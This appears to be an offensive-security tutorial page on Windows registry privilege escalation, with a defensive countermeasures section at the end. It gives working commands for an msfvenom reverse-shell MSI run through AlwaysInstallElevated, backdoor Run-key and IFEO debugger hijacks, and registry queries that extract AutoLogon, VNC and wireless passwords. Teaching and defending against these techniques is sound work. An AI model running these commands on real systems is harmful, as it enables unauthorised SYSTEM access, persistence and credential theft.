Registry-Based Attacks
Exploiting Windows registry misconfigurations for privilege escalation
What You'll Discover
🎯 Why This Matters
The Windows registry stores configuration for nearly everything in the operating system. Misconfigurations in specific registry keys can grant SYSTEM access to unprivileged users. AlwaysInstallElevated is practically an instant-win when enabled.
🔍 What You'll Learn
- How AlwaysInstallElevated enables MSI-based privilege escalation
- Exploiting AutoRun registry keys for code execution
- Extracting credentials stored in registry keys
- Identifying writable registry locations for persistence
🚀 Your First Win
In the next 5 minutes, you'll check for AlwaysInstallElevated on your own system - if it's enabled, you'll understand exactly how to exploit it.
🔧 Try This Right Now
Check if AlwaysInstallElevated is enabled on your system:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedYou'll see: Either "ERROR: The system was unable to find the specified registry key or value" (not vulnerable) or "AlwaysInstallElevated REG_DWORD 0x1" (vulnerable - both keys must be set to 1).
Skills You'll Master
✅ Core Understanding
- Windows registry structure
- HKLM vs HKCU differences
- MSI installer behavior
- AutoRun mechanisms
🔍 Expert Skills
- AlwaysInstallElevated exploitation
- Registry-based persistence
- Credential extraction from registry
- Service registry key manipulation
Understanding Registry Attacks
The Windows registry is a hierarchical database storing system and application configuration. Certain registry keys control security-sensitive behaviors - when misconfigured, they provide direct privilege escalation paths.
Registry = Windows Configuration Database = Attack Surface
AlwaysInstallElevated
This is one of the most reliable privilege escalation vectors. When enabled in both HKLM and HKCU, any .msi file installs with SYSTEM privileges - even when run by unprivileged users:
# Check both keys (BOTH must be set to 1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both return 0x1, generate malicious MSI:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f msi -o shell.msi
# Execute (runs as SYSTEM)
msiexec /quiet /qn /i shell.msi
# Or with PowerUp
Write-UserAddMSI
# Creates UserAdd.msi that adds a local admin user⚠️ Important
Both HKLM and HKCU keys must be set to 1 for this attack to work. If only one is set, the vulnerability does not exist.
AutoRun Registry Keys
AutoRun keys execute programs at system startup or user login. If you can modify these keys or the binaries they reference, you achieve persistence and potentially privilege escalation:
# Common AutoRun locations
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# Check permissions on referenced binaries
# If the binary path is writable, replace it with your payload
# Check registry key permissions
accesschk.exe -kwuqsw "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# If writable, add your own entry
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\temp\shell.exe"Stored Credentials in Registry
Various applications and Windows features store credentials in the registry, sometimes in plaintext or easily reversible formats:
# AutoLogon credentials (may contain plaintext password)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultDomainName
# PuTTY saved sessions (may contain credentials)
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
# VNC passwords (stored as encrypted but easily cracked)
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password
reg query "HKCU\Software\TightVNC\Server" /v Password
# SNMP community strings
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"
# Wireless network passwords
netsh wlan show profiles
netsh wlan show profile name="NetworkName" key=clearTools and Techniques
PowerUp Registry Functions
PowerUp provides functions specifically for registry-based attacks:
# Check AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated
# Check for AutoLogon credentials
Get-RegistryAutoLogon
# Find modifiable AutoRun entries
Get-ModifiableRegistryAutoRun
# Generate MSI payload for AlwaysInstallElevated
Write-UserAddMSIRegistry Permission Analysis
Use accesschk to find writable registry keys:
# Find writable registry keys in HKLM
accesschk.exe -kwuqsw "Authenticated Users" HKLM\SOFTWARE /accepteula
accesschk.exe -kwuqsw "Users" HKLM\SOFTWARE /accepteula
# Check specific key
accesschk.exe -kwuqsv HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService /accepteula
# Keys to check for write access:
# HKLM\SYSTEM\CurrentControlSet\Services\* (service configurations)
# HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (autoruns)
# HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options (debugger hijacking)Image File Execution Options (IFEO)
IFEO allows specifying a debugger for any executable. If you can write to these keys, you can hijack execution of system binaries:
# Check IFEO permissions
accesschk.exe -kwuqsw "Authenticated Users" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
# If writable, hijack notepad.exe (example)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\temp\shell.exe"
# Now when anyone runs notepad, your payload executes insteadReal-World Attack Scenarios
🔴 Scenario: AlwaysInstallElevated in Corporate Environment
An IT department enabled AlwaysInstallElevated via Group Policy to allow users to install approved software without admin rights. They didn't realize this allows ANY MSI to run as SYSTEM. An attacker with low-privilege access generates a malicious MSI and instantly escalates to SYSTEM.
Attack: Check registry → Confirm AlwaysInstallElevated → Generate MSI with msfvenom → Execute → SYSTEM shell
🟠 Scenario: AutoLogon Credential Discovery
A kiosk system uses AutoLogon with stored credentials in the registry. The password is in plaintext. An attacker with local access reads the registry and obtains credentials for a domain service account, enabling lateral movement across the network.
Attack: Query Winlogon registry → Extract plaintext password → Test against other systems → Lateral movement
💡 Expert Insight
AlwaysInstallElevated is surprisingly common in corporate environments. It's often enabled by IT departments trying to simplify software deployment without understanding the security implications. Always check for it - it's a quick check with a high-impact payoff.
Defensive Countermeasures
AlwaysInstallElevated Prevention
- Never enable AlwaysInstallElevated in production environments
- Use proper software deployment tools (SCCM, Intune) instead
- Audit Group Policy for this setting regularly
- If required, use AppLocker to restrict which MSIs can run
Credential Protection
- Never use AutoLogon with plaintext passwords
- If AutoLogon is required, use LSASecret (still extractable but harder)
- Implement Credential Guard to protect stored credentials
- Regular audits for credentials stored in registry
Registry Hardening
- Maintain restrictive ACLs on sensitive registry keys
- Monitor registry modifications to AutoRun and service keys
- Implement registry auditing for high-value keys
- Use Security Baselines from Microsoft Security Compliance Toolkit
Frequently Asked Questions
Why would anyone enable AlwaysInstallElevated?
IT departments enable it to allow users to install approved software without calling helpdesk. They often don't realize it applies to ALL MSI files, not just approved ones. It's a convenience vs. security tradeoff that goes horribly wrong.
Can I modify HKLM registry keys as a standard user?
By default, no. HKLM requires administrative privileges. However, misconfigurations (often from poorly written software installers) sometimes grant write access to standard users on specific keys. Always check permissions with accesschk.
How do I decode VNC passwords from the registry?
VNC passwords are "encrypted" with a fixed, known key. Tools like vncpwd or online decoders can reverse them instantly. The hex value in the registry is essentially plaintext.
🎯 Registry Attacks - Conquered!
You now understand how to exploit registry misconfigurations for privilege escalation. AlwaysInstallElevated, AutoRun keys, and stored credentials are powerful attack vectors that appear frequently in real environments.
Ready to learn token impersonation →